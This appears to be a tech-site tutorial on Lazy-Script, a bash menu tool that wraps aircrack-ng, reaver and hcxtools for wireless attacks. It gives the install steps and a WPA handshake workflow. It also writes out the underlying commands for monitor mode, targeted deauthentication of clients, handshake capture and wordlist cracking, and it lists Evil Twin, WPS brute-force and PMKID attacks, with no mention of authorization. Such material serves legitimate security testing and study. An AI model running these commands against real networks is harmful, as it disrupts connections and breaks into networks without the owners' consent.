Lazy-Script
2 min readArticle
Lazy-Script (also known as Lalin's Lazy Script) is a bash script that automates common wireless hacking tasks through a menu-driven interface. It wraps aircrack-ng suite tools, reaver, and other tools into a guided workflow. Good for quickly running standard attacks without having to remember all the exact commands.
Installation
bash
# Clone from GitHub
git clone https://github.com/arismelachroinos/lscript
cd lscript
chmod +x install.sh
sudo bash install.sh
# Run
sudo bash wifi.sh
What It Automates
Lazy Script provides a menu for:
- Monitor mode — put interface in/out of monitor mode
- Scan networks — run airodump-ng
- WPA/WPA2 handshake capture — automated deauth + capture
- WPA crack — run aircrack-ng against captured handshake
- WPS Pixie Dust — run reaver with -K 1
- WPS PIN brute force — run reaver standard
- Evil Twin — create rogue AP
- PMKID attack — hcxdumptool + hcxtools workflow
- Handshake conversion — convert .cap to hashcat format
Usage Flow
bash
# Start script
sudo bash wifi.sh
# Typical WPA handshake workflow:
1. Select "Monitor Mode" → select interface → enable
2. Select "Scan Networks" → find target → Ctrl+C when found
3. Enter target BSSID and channel when prompted
4. Select "Capture Handshake" → deauths automatically sent
5. Wait for handshake capture
6. Select "Crack Handshake" → choose wordlist → aircrack runs
Dependencies
bash
# Lazy Script requires:
sudo apt install aircrack-ng reaver bully hcxdumptool hcxtools hashcat python3
# Check all deps are present
sudo bash wifi.sh --check
Lazy Script vs Wifite vs Airgeddon
| Tool | Style | Best For |
|---|---|---|
| Lazy-Script | Simple bash menu | Quick single attacks |
| Wifite | Python, automated | Batch attacking multiple targets |
| Airgeddon | Comprehensive bash menu | Full-featured, many attack types |
Lazy-Script is simpler and less featured than Wifite or Airgeddon but easier to understand and modify if you want to learn from the code.
Manual Equivalent Commands
Understanding what Lazy Script runs under the hood:
bash
# What "Enable Monitor Mode" does:
sudo airmon-ng start wlan0
# What "Scan Networks" does:
sudo airodump-ng wlan0mon
# What "Capture Handshake" does:
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /tmp/capture wlan0mon &
sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon
# What "Crack" does:
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt /tmp/capture-01.cap
Tips
- Run as root or with sudo — everything needs elevated permissions
- Always verify monitor mode is active before scanning
- If handshake capture fails, try increasing deauth count or waiting for a client to be naturally connected
- Save handshake files — you can crack them later with better wordlists
Troubleshooting
bash
# Interface issues
sudo airmon-ng check kill # Kill conflicting processes
sudo airmon-ng start wlan0 # Re-enable monitor mode
# Script permission issues
chmod +x wifi.sh
See Also
- wifite-automated-wifi-hacking - More robust Python-based automation
- airgeddon-automated-wifi-attacks - Comprehensive menu-driven tool
- future-of-tech-emerging-trends-2023 - Automated WiFi hacking overview
techzonesite.comUnlock Your IT Potential